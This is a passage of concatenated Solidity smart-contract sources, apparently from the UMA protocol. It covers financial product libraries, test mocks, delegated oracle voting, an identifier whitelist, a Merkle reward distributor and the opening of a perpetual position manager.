// which is possible since the method is only an OPTIONAL method in the ERC20 standard:
// https://eips.ethereum.org/EIPS/eip-20#methods.
function _getSyntheticDecimals(address _collateralAddress) public view returns (uint8 decimals) {
try IERC20Standard(_collateralAddress).decimals() returns (uint8 _decimals) {
return _decimals;
} catch {
return 18;
}
}
function _transformPrice(FixedPoint.Unsigned memory price, uint256 requestTime)
internal
view
returns (FixedPoint.Unsigned memory)
{
if (!address(financialProductLibrary).isContract()) return price;
try financialProductLibrary.transformPrice(price, requestTime) returns (
FixedPoint.Unsigned memory transformedPrice
) {
return transformedPrice;
} catch {
return price;
}
}
function _transformPriceIdentifier(uint256 requestTime) internal view returns (bytes32) {
if (!address(financialProductLibrary).isContract()) return priceIdentifier;
try financialProductLibrary.transformPriceIdentifier(priceIdentifier, requestTime) returns (
bytes32 transformedIdentifier
) {
return transformedIdentifier;
} catch {
return priceIdentifier;
}
}
function _getAncillaryData() internal view returns (bytes memory) {
// Note: when ancillary data is passed to the optimistic oracle, it should be tagged with the token address
// whose funding rate it's trying to get.
return abi.encodePacked(address(tokenCurrency));
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @title ERC20 interface that includes the decimals read only method.
*/
interface IERC20Standard is IERC20 {
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should be displayed to a user as `5,05`
* (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between Ether and Wei. This is the value
* {ERC20} uses, unless {_setupDecimals} is called.
*
* NOTE: This information is only used for _display_ purposes: it in no way affects any of the arithmetic
* of the contract, including {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() external view returns (uint8);
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../../common/implementation/FixedPoint.sol";
interface ExpiringContractInterface {
function expirationTimestamp() external view returns (uint256);
}
/**
* @title Financial product library contract
* @notice Provides price and collateral requirement transformation interfaces that can be overridden by custom
* Financial product library implementations.
*/
abstract contract FinancialProductLibrary {
using FixedPoint for FixedPoint.Unsigned;
/**
* @notice Transforms a given oracle price using the financial product libraries transformation logic.
* @param oraclePrice input price returned by the DVM to be transformed.
* @param requestTime timestamp the oraclePrice was requested at.
* @return transformedOraclePrice input oraclePrice with the transformation function applied.
*/
function transformPrice(FixedPoint.Unsigned memory oraclePrice, uint256 requestTime)
public
view
virtual
returns (FixedPoint.Unsigned memory)
{
return oraclePrice;
}
/**
* @notice Transforms a given collateral requirement using the financial product libraries transformation logic.
* @param oraclePrice input price returned by DVM used to transform the collateral requirement.
* @param collateralRequirement input collateral requirement to be transformed.
* @return transformedCollateralRequirement input collateral requirement with the transformation function applied.
*/
function transformCollateralRequirement(
FixedPoint.Unsigned memory oraclePrice,
FixedPoint.Unsigned memory collateralRequirement
) public view virtual returns (FixedPoint.Unsigned memory) {
return collateralRequirement;
}
/**
* @notice Transforms a given price identifier using the financial product libraries transformation logic.
* @param priceIdentifier input price identifier defined for the financial contract.
* @param requestTime timestamp the identifier is to be used at. EG the time that a price request would be sent using this identifier.
* @return transformedPriceIdentifier input price identifier with the transformation function applied.
*/
function transformPriceIdentifier(bytes32 priceIdentifier, uint256 requestTime)
public
view
virtual
returns (bytes32)
{
return priceIdentifier;
}
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../common/financial-product-libraries/FinancialProductLibrary.sol";
// Implements a simple FinancialProductLibrary to test price and collateral requirement transoformations.
contract FinancialProductLibraryTest is FinancialProductLibrary {
FixedPoint.Unsigned public priceTransformationScalar;
FixedPoint.Unsigned public collateralRequirementTransformationScalar;
bytes32 public transformedPriceIdentifier;
bool public shouldRevert;
constructor(
FixedPoint.Unsigned memory _priceTransformationScalar,
FixedPoint.Unsigned memory _collateralRequirementTransformationScalar,
bytes32 _transformedPriceIdentifier
) public {
priceTransformationScalar = _priceTransformationScalar;
collateralRequirementTransformationScalar = _collateralRequirementTransformationScalar;
transformedPriceIdentifier = _transformedPriceIdentifier;
}
// Set the mocked methods to revert to test failed library computation.
function setShouldRevert(bool _shouldRevert) public {
shouldRevert = _shouldRevert;
}
// Create a simple price transformation function that scales the input price by the scalar for testing.
function transformPrice(FixedPoint.Unsigned memory oraclePrice, uint256 requestTime)
public
view
override
returns (FixedPoint.Unsigned memory)
{
require(!shouldRevert, "set to always reverts");
return oraclePrice.mul(priceTransformationScalar);
}
// Create a simple collateral requirement transformation that doubles the input collateralRequirement.
function transformCollateralRequirement(
FixedPoint.Unsigned memory price,
FixedPoint.Unsigned memory collateralRequirement
) public view override returns (FixedPoint.Unsigned memory) {
require(!shouldRevert, "set to always reverts");
return collateralRequirement.mul(collateralRequirementTransformationScalar);
}
// Create a simple transformPriceIdentifier function that returns the transformed price identifier.
function transformPriceIdentifier(bytes32 priceIdentifier, uint256 requestTime)
public
view
override
returns (bytes32)
{
require(!shouldRevert, "set to always reverts");
return transformedPriceIdentifier;
}
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/Testable.sol";
import "../../common/implementation/FixedPoint.sol";
import "../common/financial-product-libraries/FinancialProductLibrary.sol";
contract ExpiringMultiPartyMock is Testable {
using FixedPoint for FixedPoint.Unsigned;
FinancialProductLibrary public financialProductLibrary;
uint256 public expirationTimestamp;
FixedPoint.Unsigned public collateralRequirement;
bytes32 public priceIdentifier;
constructor(
address _financialProductLibraryAddress,
uint256 _expirationTimestamp,
FixedPoint.Unsigned memory _collateralRequirement,
bytes32 _priceIdentifier,
address _timerAddress
) public Testable(_timerAddress) {
expirationTimestamp = _expirationTimestamp;
collateralRequirement = _collateralRequirement;
financialProductLibrary = FinancialProductLibrary(_financialProductLibraryAddress);
priceIdentifier = _priceIdentifier;
}
function transformPrice(FixedPoint.Unsigned memory price, uint256 requestTime)
public
view
returns (FixedPoint.Unsigned memory)
{
if (address(financialProductLibrary) == address(0)) return price;
try financialProductLibrary.transformPrice(price, requestTime) returns (
FixedPoint.Unsigned memory transformedPrice
) {
return transformedPrice;
} catch {
return price;
}
}
function transformCollateralRequirement(FixedPoint.Unsigned memory price)
public
view
returns (FixedPoint.Unsigned memory)
{
if (address(financialProductLibrary) == address(0)) return collateralRequirement;
try financialProductLibrary.transformCollateralRequirement(price, collateralRequirement) returns (
FixedPoint.Unsigned memory transformedCollateralRequirement
) {
return transformedCollateralRequirement;
} catch {
return collateralRequirement;
}
}
function transformPriceIdentifier(uint256 requestTime) public view returns (bytes32) {
if (address(financialProductLibrary) == address(0)) return priceIdentifier;
try financialProductLibrary.transformPriceIdentifier(priceIdentifier, requestTime) returns (
bytes32 transformedIdentifier
) {
return transformedIdentifier;
} catch {
return priceIdentifier;
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
import "../../common/implementation/Testable.sol";
import "../interfaces/OracleAncillaryInterface.sol";
import "../interfaces/VotingAncillaryInterface.sol";
// A mock oracle used for testing. Exports the voting & oracle interfaces and events that contain ancillary data.
abstract contract VotingAncillaryInterfaceTesting is OracleAncillaryInterface, VotingAncillaryInterface, Testable {
using FixedPoint for FixedPoint.Unsigned;
// Events, data structures and functions not exported in the base interfaces, used for testing.
event VoteCommitted(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData
);
event EncryptedVote(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData,
bytes encryptedVote
);
event VoteRevealed(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
int256 price,
bytes ancillaryData,
uint256 numTokens
);
event RewardsRetrieved(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData,
uint256 numTokens
);
event PriceRequestAdded(uint256 indexed roundId, bytes32 indexed identifier, uint256 time);
event PriceResolved(
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
int256 price,
bytes ancillaryData
);
struct Round {
uint256 snapshotId; // Voting token snapshot ID for this round. 0 if no snapshot has been taken.
FixedPoint.Unsigned inflationRate; // Inflation rate set for this round.
FixedPoint.Unsigned gatPercentage; // Gat rate set for this round.
uint256 rewardsExpirationTime; // Time that rewards for this round can be claimed until.
}
// Represents the status a price request has.
enum RequestStatus {
NotRequested, // Was never requested.
Active, // Is being voted on in the current round.
Resolved, // Was resolved in a previous round.
Future // Is scheduled to be voted on in a future round.
}
// Only used as a return value in view methods -- never stored in the contract.
struct RequestState {
RequestStatus status;
uint256 lastVotingRound;
}
function rounds(uint256 roundId) public view virtual returns (Round memory);
function getPriceRequestStatuses(VotingAncillaryInterface.PendingRequestAncillary[] memory requests)
public
view
virtual
returns (RequestState[] memory);
function getPendingPriceRequestsArray() external view virtual returns (bytes32[] memory);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/MultiRole.sol";
import "../../common/implementation/Withdrawable.sol";
import "../interfaces/VotingAncillaryInterface.sol";
import "../interfaces/FinderInterface.sol";
import "./Constants.sol";
/**
* @title Proxy to allow voting from another address.
* @dev Allows a UMA token holder to designate another address to vote on their behalf.
* Each voter must deploy their own instance of this contract.
*/
contract DesignatedVoting is Withdrawable {
/****************************************
* INTERNAL VARIABLES AND STORAGE *
****************************************/
enum Roles {
Owner, // Can set the Voter role. Is also permanently permissioned as the minter role.
Voter // Can vote through this contract.
}
// Reference to the UMA Finder contract, allowing Voting upgrades to be performed
// without requiring any calls to this contract.
FinderInterface private finder;
/**
* @notice Construct the DesignatedVoting contract.
* @param finderAddress keeps track of all contracts within the system based on their interfaceName.
* @param ownerAddress address of the owner of the DesignatedVoting contract.
* @param voterAddress address to which the owner has delegated their voting power.
*/
constructor(
address finderAddress,
address ownerAddress,
address voterAddress
) public {
_createExclusiveRole(uint256(Roles.Owner), uint256(Roles.Owner), ownerAddress);
_createExclusiveRole(uint256(Roles.Voter), uint256(Roles.Owner), voterAddress);
_setWithdrawRole(uint256(Roles.Owner));
finder = FinderInterface(finderAddress);
}
/****************************************
* VOTING AND REWARD FUNCTIONALITY *
****************************************/
/**
* @notice Forwards a commit to Voting.
* @param identifier uniquely identifies the feed for this vote. EG BTC/USD price pair.
* @param time specifies the unix timestamp of the price being voted on.
* @param hash the keccak256 hash of the price you want to vote for and a random integer salt value.
*/
function commitVote(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData,
bytes32 hash
) external onlyRoleHolder(uint256(Roles.Voter)) {
_getVotingAddress().commitVote(identifier, time, ancillaryData, hash);
}
/**
* @notice Forwards a batch commit to Voting.
* @param commits struct to encapsulate an `identifier`, `time`, `hash` and optional `encryptedVote`.
*/
function batchCommit(VotingAncillaryInterface.CommitmentAncillary[] calldata commits)
external
onlyRoleHolder(uint256(Roles.Voter))
{
_getVotingAddress().batchCommit(commits);
}
/**
* @notice Forwards a reveal to Voting.
* @param identifier voted on in the commit phase. EG BTC/USD price pair.
* @param time specifies the unix timestamp of the price being voted on.
* @param price used along with the `salt` to produce the `hash` during the commit phase.
* @param salt used along with the `price` to produce the `hash` during the commit phase.
*/
function revealVote(
bytes32 identifier,
uint256 time,
int256 price,
bytes memory ancillaryData,
int256 salt
) external onlyRoleHolder(uint256(Roles.Voter)) {
_getVotingAddress().revealVote(identifier, time, price, ancillaryData, salt);
}
/**
* @notice Forwards a batch reveal to Voting.
* @param reveals is an array of the Reveal struct which contains an identifier, time, price and salt.
*/
function batchReveal(VotingAncillaryInterface.RevealAncillary[] calldata reveals)
external
onlyRoleHolder(uint256(Roles.Voter))
{
_getVotingAddress().batchReveal(reveals);
}
/**
* @notice Forwards a reward retrieval to Voting.
* @dev Rewards are added to the tokens already held by this contract.
* @param roundId defines the round from which voting rewards will be retrieved from.
* @param toRetrieve an array of PendingRequests which rewards are retrieved from.
* @return amount of rewards that the user should receive.
*/
function retrieveRewards(uint256 roundId, VotingAncillaryInterface.PendingRequestAncillary[] memory toRetrieve)
public
onlyRoleHolder(uint256(Roles.Voter))
returns (FixedPoint.Unsigned memory)
{
return _getVotingAddress().retrieveRewards(address(this), roundId, toRetrieve);
}
function _getVotingAddress() private view returns (VotingAncillaryInterface) {
return VotingAncillaryInterface(finder.getImplementationAddress(OracleInterfaces.Oracle));
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/Withdrawable.sol";
import "./DesignatedVoting.sol";
/**
* @title Factory to deploy new instances of DesignatedVoting and look up previously deployed instances.
* @dev Allows off-chain infrastructure to look up a hot wallet's deployed DesignatedVoting contract.
*/
contract DesignatedVotingFactory is Withdrawable {
/****************************************
* INTERNAL VARIABLES AND STORAGE *
****************************************/
enum Roles {
Withdrawer // Can withdraw any ETH or ERC20 sent accidentally to this contract.
}
address private finder;
mapping(address => DesignatedVoting) public designatedVotingContracts;
/**
* @notice Construct the DesignatedVotingFactory contract.
* @param finderAddress keeps track of all contracts within the system based on their interfaceName.
*/
constructor(address finderAddress) public {
finder = finderAddress;
_createWithdrawRole(uint256(Roles.Withdrawer), uint256(Roles.Withdrawer), msg.sender);
}
/**
* @notice Deploys a new `DesignatedVoting` contract.
* @param ownerAddress defines who will own the deployed instance of the designatedVoting contract.
* @return designatedVoting a new DesignatedVoting contract.
*/
function newDesignatedVoting(address ownerAddress) external returns (DesignatedVoting) {
DesignatedVoting designatedVoting = new DesignatedVoting(finder, ownerAddress, msg.sender);
designatedVotingContracts[msg.sender] = designatedVoting;
return designatedVoting;
}
/**
* @notice Associates a `DesignatedVoting` instance with `msg.sender`.
* @param designatedVotingAddress address to designate voting to.
* @dev This is generally only used if the owner of a `DesignatedVoting` contract changes their `voter`
* address and wants that reflected here.
*/
function setDesignatedVoting(address designatedVotingAddress) external {
designatedVotingContracts[msg.sender] = DesignatedVoting(designatedVotingAddress);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../implementation/Withdrawable.sol";
// WithdrawableTest is derived from the abstract contract Withdrawable for testing purposes.
contract WithdrawableTest is Withdrawable {
enum Roles { Governance, Withdraw }
// solhint-disable-next-line no-empty-blocks
constructor() public {
_createExclusiveRole(uint256(Roles.Governance), uint256(Roles.Governance), msg.sender);
_createWithdrawRole(uint256(Roles.Withdraw), uint256(Roles.Governance), msg.sender);
}
function pay() external payable {
require(msg.value > 0);
}
function setInternalWithdrawRole(uint256 setRoleId) public {
_setWithdrawRole(setRoleId);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
/**
* @title An implementation of ERC20 with the same interface as the Compound project's testnet tokens (mainly DAI)
* @dev This contract can be deployed or the interface can be used to communicate with Compound's ERC20 tokens. Note:
* this token should never be used to store real value since it allows permissionless minting.
*/
contract TestnetERC20 is ERC20 {
/**
* @notice Constructs the TestnetERC20.
* @param _name The name which describes the new token.
* @param _symbol The ticker abbreviation of the name. Ideally < 5 chars.
* @param _decimals The number of decimals to define token precision.
*/
constructor(
string memory _name,
string memory _symbol,
uint8 _decimals
) public ERC20(_name, _symbol) {
_setupDecimals(_decimals);
}
// Sample token information.
/**
* @notice Mints value tokens to the owner address.
* @param ownerAddress the address to mint to.
* @param value the amount of tokens to mint.
*/
function allocateTo(address ownerAddress, uint256 value) external {
_mint(ownerAddress, value);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../interfaces/IdentifierWhitelistInterface.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
/**
* @title Stores a whitelist of supported identifiers that the oracle can provide prices for.
*/
contract IdentifierWhitelist is IdentifierWhitelistInterface, Ownable {
/****************************************
* INTERNAL VARIABLES AND STORAGE *
****************************************/
mapping(bytes32 => bool) private supportedIdentifiers;
/****************************************
* EVENTS *
****************************************/
event SupportedIdentifierAdded(bytes32 indexed identifier);
event SupportedIdentifierRemoved(bytes32 indexed identifier);
/****************************************
* ADMIN STATE MODIFYING FUNCTIONS *
****************************************/
/**
* @notice Adds the provided identifier as a supported identifier.
* @dev Price requests using this identifier will succeed after this call.
* @param identifier unique UTF-8 representation for the feed being added. Eg: BTC/USD.
*/
function addSupportedIdentifier(bytes32 identifier) external override onlyOwner {
if (!supportedIdentifiers[identifier]) {
supportedIdentifiers[identifier] = true;
emit SupportedIdentifierAdded(identifier);
}
}
/**
* @notice Removes the identifier from the whitelist.
* @dev Price requests using this identifier will no longer succeed after this call.
* @param identifier unique UTF-8 representation for the feed being removed. Eg: BTC/USD.
*/
function removeSupportedIdentifier(bytes32 identifier) external override onlyOwner {
if (supportedIdentifiers[identifier]) {
supportedIdentifiers[identifier] = false;
emit SupportedIdentifierRemoved(identifier);
}
}
/****************************************
* WHITELIST GETTERS FUNCTIONS *
****************************************/
/**
* @notice Checks whether an identifier is on the whitelist.
* @param identifier unique UTF-8 representation for the feed being queried. Eg: BTC/USD.
* @return bool if the identifier is supported (or not).
*/
function isIdentifierSupported(bytes32 identifier) external view override returns (bool) {
return supportedIdentifiers[identifier];
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../interfaces/AdministrateeInterface.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
/**
* @title Admin for financial contracts in the UMA system.
* @dev Allows appropriately permissioned admin roles to interact with financial contracts.
*/
contract FinancialContractsAdmin is Ownable {
/**
* @notice Calls emergency shutdown on the provided financial contract.
* @param financialContract address of the FinancialContract to be shut down.
*/
function callEmergencyShutdown(address financialContract) external onlyOwner {
AdministrateeInterface administratee = AdministrateeInterface(financialContract);
administratee.emergencyShutdown();
}
/**
* @notice Calls remargin on the provided financial contract.
* @param financialContract address of the FinancialContract to be remargined.
*/
function callRemargin(address financialContract) external onlyOwner {
AdministrateeInterface administratee = AdministrateeInterface(financialContract);
administratee.remargin();
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../interfaces/AdministrateeInterface.sol";
// A mock implementation of AdministrateeInterface, taking the place of a financial contract.
contract MockAdministratee is AdministrateeInterface {
uint256 public timesRemargined;
uint256 public timesEmergencyShutdown;
function remargin() external override {
timesRemargined++;
}
function emergencyShutdown() external override {
timesEmergencyShutdown++;
}
function pfc() external view override returns (FixedPoint.Unsigned memory) {
return FixedPoint.fromUnscaledUint(0);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* Inspired by:
* - https://github.com/pie-dao/vested-token-migration-app
* - https://github.com/Uniswap/merkle-distributor
* - https://github.com/balancer-labs/erc20-redeemable
*
* @title MerkleDistributor contract.
* @notice Allows an owner to distribute any reward ERC20 to claimants according to Merkle roots. The owner can specify
* multiple Merkle roots distributions with customized reward currencies.
* @dev The Merkle trees are not validated in any way, so the system assumes the contract owner behaves honestly.
*/
contract MerkleDistributor is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// A Window maps a Merkle root to a reward token address.
struct Window {
// Merkle root describing the distribution.
bytes32 merkleRoot;
// Currency in which reward is processed.
IERC20 rewardToken;
// IPFS hash of the merkle tree. Can be used to independently fetch recipient proofs and tree. Note that the canonical
// data type for storing an IPFS hash is a multihash which is the concatenation of <varint hash function code>
// <varint digest size in bytes><hash function output>. We opted to store this in a string type to make it easier
// for users to query the ipfs data without needing to reconstruct the multihash. to view the IPFS data simply
// go to https://cloudflare-ipfs.com/ipfs/<IPFS-HASH>.
string ipfsHash;
}
// Represents an account's claim for `amount` within the Merkle root located at the `windowIndex`.
struct Claim {
uint256 windowIndex;
uint256 amount;
uint256 accountIndex; // Used only for bitmap. Assumed to be unique for each claim.
address account;
bytes32[] merkleProof;
}
// Windows are mapped to arbitrary indices.
mapping(uint256 => Window) public merkleWindows;
// Index of next created Merkle root.
uint256 public nextCreatedIndex;
// Track which accounts have claimed for each window index.
// Note: uses a packed array of bools for gas optimization on tracking certain claims. Copied from Uniswap's contract.
mapping(uint256 => mapping(uint256 => uint256)) private claimedBitMap;
/****************************************
* EVENTS
****************************************/
event Claimed(
address indexed caller,
uint256 windowIndex,
address indexed account,
uint256 accountIndex,
uint256 amount,
address indexed rewardToken
);
event CreatedWindow(
uint256 indexed windowIndex,
uint256 rewardsDeposited,
address indexed rewardToken,
address owner
);
event WithdrawRewards(address indexed owner, uint256 amount, address indexed currency);
event DeleteWindow(uint256 indexed windowIndex, address owner);
/****************************
* ADMIN FUNCTIONS
****************************/
/**
* @notice Set merkle root for the next available window index and seed allocations.
* @notice Callable only by owner of this contract. Caller must have approved this contract to transfer
* `rewardsToDeposit` amount of `rewardToken` or this call will fail. Importantly, we assume that the
* owner of this contract correctly chooses an amount `rewardsToDeposit` that is sufficient to cover all
* claims within the `merkleRoot`. Otherwise, a race condition can be created. This situation can occur
* because we do not segregate reward balances by window, for code simplicity purposes.
* (If `rewardsToDeposit` is purposefully insufficient to payout all claims, then the admin must
* subsequently transfer in rewards or the following situation can occur).
* Example race situation:
* - Window 1 Tree: Owner sets `rewardsToDeposit=100` and insert proofs that give claimant A 50 tokens and
* claimant B 51 tokens. The owner has made an error by not setting the `rewardsToDeposit` correctly to 101.
* - Window 2 Tree: Owner sets `rewardsToDeposit=1` and insert proofs that give claimant A 1 token. The owner
* correctly set `rewardsToDeposit` this time.
* - At this point contract owns 100 + 1 = 101 tokens. Now, imagine the following sequence:
* (1) Claimant A claims 50 tokens for Window 1, contract now has 101 - 50 = 51 tokens.
* (2) Claimant B claims 51 tokens for Window 1, contract now has 51 - 51 = 0 tokens.
* (3) Claimant A tries to claim 1 token for Window 2 but fails because contract has 0 tokens.
* - In summary, the contract owner created a race for step(2) and step(3) in which the first claim would
* succeed and the second claim would fail, even though both claimants would expect their claims to succeed.
* @param rewardsToDeposit amount of rewards to deposit to seed this allocation.
* @param rewardToken ERC20 reward token.
* @param merkleRoot merkle root describing allocation.
* @param ipfsHash hash of IPFS object, conveniently stored for clients
*/
function setWindow(
uint256 rewardsToDeposit,
address rewardToken,
bytes32 merkleRoot,
string memory ipfsHash
) external onlyOwner {
uint256 indexToSet = nextCreatedIndex;
nextCreatedIndex = indexToSet.add(1);
_setWindow(indexToSet, rewardsToDeposit, rewardToken, merkleRoot, ipfsHash);
}
/**
* @notice Delete merkle root at window index.
* @dev Callable only by owner. Likely to be followed by a withdrawRewards call to clear contract state.
* @param windowIndex merkle root index to delete.
*/
function deleteWindow(uint256 windowIndex) external onlyOwner {
delete merkleWindows[windowIndex];
emit DeleteWindow(windowIndex, msg.sender);
}
/**
* @notice Emergency method that transfers rewards out of the contract if the contract was configured improperly.
* @dev Callable only by owner.
* @param rewardCurrency rewards to withdraw from contract.
* @param amount amount of rewards to withdraw.
*/
function withdrawRewards(address rewardCurrency, uint256 amount) external onlyOwner {
IERC20(rewardCurrency).safeTransfer(msg.sender, amount);
emit WithdrawRewards(msg.sender, amount, rewardCurrency);
}
/****************************
* NON-ADMIN FUNCTIONS
****************************/
/**
* @notice Batch claims to reduce gas versus individual submitting all claims. Method will fail
* if any individual claims within the batch would fail.
* @dev Optimistically tries to batch together consecutive claims for the same account and same
* reward token to reduce gas. Therefore, the most gas-cost-optimal way to use this method
* is to pass in an array of claims sorted by account and reward currency.
* @param claims array of claims to claim.
*/
function claimMulti(Claim[] memory claims) external {
uint256 batchedAmount = 0;
uint256 claimCount = claims.length;
for (uint256 i = 0; i < claimCount; i++) {
Claim memory _claim = claims[i];
_verifyAndMarkClaimed(_claim);
batchedAmount = batchedAmount.add(_claim.amount);
// If the next claim is NOT the same account or the same token (or this claim is the last one),
// then disburse the `batchedAmount` to the current claim's account for the current claim's reward token.
uint256 nextI = i + 1;
address currentRewardToken = address(merkleWindows[_claim.windowIndex].rewardToken);
if (
nextI == claimCount ||
// This claim is last claim.
claims[nextI].account != _claim.account ||
// Next claim account is different than current one.
address(merkleWindows[claims[nextI].windowIndex].rewardToken) != currentRewardToken
// Next claim reward token is different than current one.
) {
IERC20(currentRewardToken).safeTransfer(_claim.account, batchedAmount);
batchedAmount = 0;
}
}
}
/**
* @notice Claim amount of reward tokens for account, as described by Claim input object.
* @dev If the `_claim`'s `amount`, `accountIndex`, and `account` do not exactly match the
* values stored in the merkle root for the `_claim`'s `windowIndex` this method
* will revert.
* @param _claim claim object describing amount, accountIndex, account, window index, and merkle proof.
*/
function claim(Claim memory _claim) public {
_verifyAndMarkClaimed(_claim);
merkleWindows[_claim.windowIndex].rewardToken.safeTransfer(_claim.account, _claim.amount);
}
/**
* @notice Returns True if the claim for `accountIndex` has already been completed for the Merkle root at
* `windowIndex`.
* @dev This method will only work as intended if all `accountIndex`'s are unique for a given `windowIndex`.
* The onus is on the Owner of this contract to submit only valid Merkle roots.
* @param windowIndex merkle root to check.
* @param accountIndex account index to check within window index.
* @return True if claim has been executed already, False otherwise.
*/
function isClaimed(uint256 windowIndex, uint256 accountIndex) public view returns (bool) {
uint256 claimedWordIndex = accountIndex / 256;
uint256 claimedBitIndex = accountIndex % 256;
uint256 claimedWord = claimedBitMap[windowIndex][claimedWordIndex];
uint256 mask = (1 << claimedBitIndex);
return claimedWord & mask == mask;
}
/**
* @notice Returns True if leaf described by {account, amount, accountIndex} is stored in Merkle root at given
* window index.
* @param _claim claim object describing amount, accountIndex, account, window index, and merkle proof.
* @return valid True if leaf exists.
*/
function verifyClaim(Claim memory _claim) public view returns (bool valid) {
bytes32 leaf = keccak256(abi.encodePacked(_claim.account, _claim.amount, _claim.accountIndex));
return MerkleProof.verify(_claim.merkleProof, merkleWindows[_claim.windowIndex].merkleRoot, leaf);
}
/****************************
* PRIVATE FUNCTIONS
****************************/
// Mark claim as completed for `accountIndex` for Merkle root at `windowIndex`.
function _setClaimed(uint256 windowIndex, uint256 accountIndex) private {
uint256 claimedWordIndex = accountIndex / 256;
uint256 claimedBitIndex = accountIndex % 256;
claimedBitMap[windowIndex][claimedWordIndex] =
claimedBitMap[windowIndex][claimedWordIndex] |
(1 << claimedBitIndex);
}
// Store new Merkle root at `windowindex`. Pull `rewardsDeposited` from caller to seed distribution for this root.
function _setWindow(
uint256 windowIndex,
uint256 rewardsDeposited,
address rewardToken,
bytes32 merkleRoot,
string memory ipfsHash
) private {
Window storage window = merkleWindows[windowIndex];
window.merkleRoot = merkleRoot;
window.rewardToken = IERC20(rewardToken);
window.ipfsHash = ipfsHash;
emit CreatedWindow(windowIndex, rewardsDeposited, rewardToken, msg.sender);
window.rewardToken.safeTransferFrom(msg.sender, address(this), rewardsDeposited);
}
// Verify claim is valid and mark it as completed in this contract.
function _verifyAndMarkClaimed(Claim memory _claim) private {
// Check claimed proof against merkle window at given index.
require(verifyClaim(_claim), "Incorrect merkle proof");
// Check the account has not yet claimed for this window.
require(!isClaimed(_claim.windowIndex, _claim.accountIndex), "Account has already claimed for this window");
// Proof is correct and claim has not occurred yet, mark claimed complete.
_setClaimed(_claim.windowIndex, _claim.accountIndex);
emit Claimed(
msg.sender,
_claim.windowIndex,
_claim.account,
_claim.accountIndex,
_claim.amount,
address(merkleWindows[_claim.windowIndex].rewardToken)
);
}
}
pragma solidity ^0.6.0;
/**
* @dev These functions deal with verification of Merkle trees (hash trees),
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
// Check if the computed hash (root) is equal to the provided root
return computedHash == root;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../../common/implementation/FixedPoint.sol";
import "../../common/interfaces/ExpandedIERC20.sol";
import "../../oracle/interfaces/OracleInterface.sol";
import "../../oracle/interfaces/IdentifierWhitelistInterface.sol";
import "../../oracle/implementation/Constants.sol";
import "../common/FundingRateApplier.sol";
/**
* @title Financial contract with priceless position management.
* @notice Handles positions for multiple sponsors in an optimistic (i.e., priceless) way without relying
* on a price feed. On construction, deploys a new ERC20, managed by this contract, that is the synthetic token.
*/
contract PerpetualPositionManager is FundingRateApplier {
using SafeMath for uint256;
using FixedPoint for FixedPoint.Unsigned;
using SafeERC20 for IERC20;
using SafeERC20 for ExpandedIERC20;
/****************************************
* PRICELESS POSITION DATA STRUCTURES *
****************************************/
// Represents a single sponsor's position. All collateral is held by this contract.
// This struct acts as bookkeeping for how much of that collateral is allocated to each sponsor.
struct PositionData {
FixedPoint.Unsigned tokensOutstanding;
// Tracks pending withdrawal requests. A withdrawal request is pending if `withdrawalRequestPassTimestamp != 0`.
uint256 withdrawalRequestPassTimestamp;
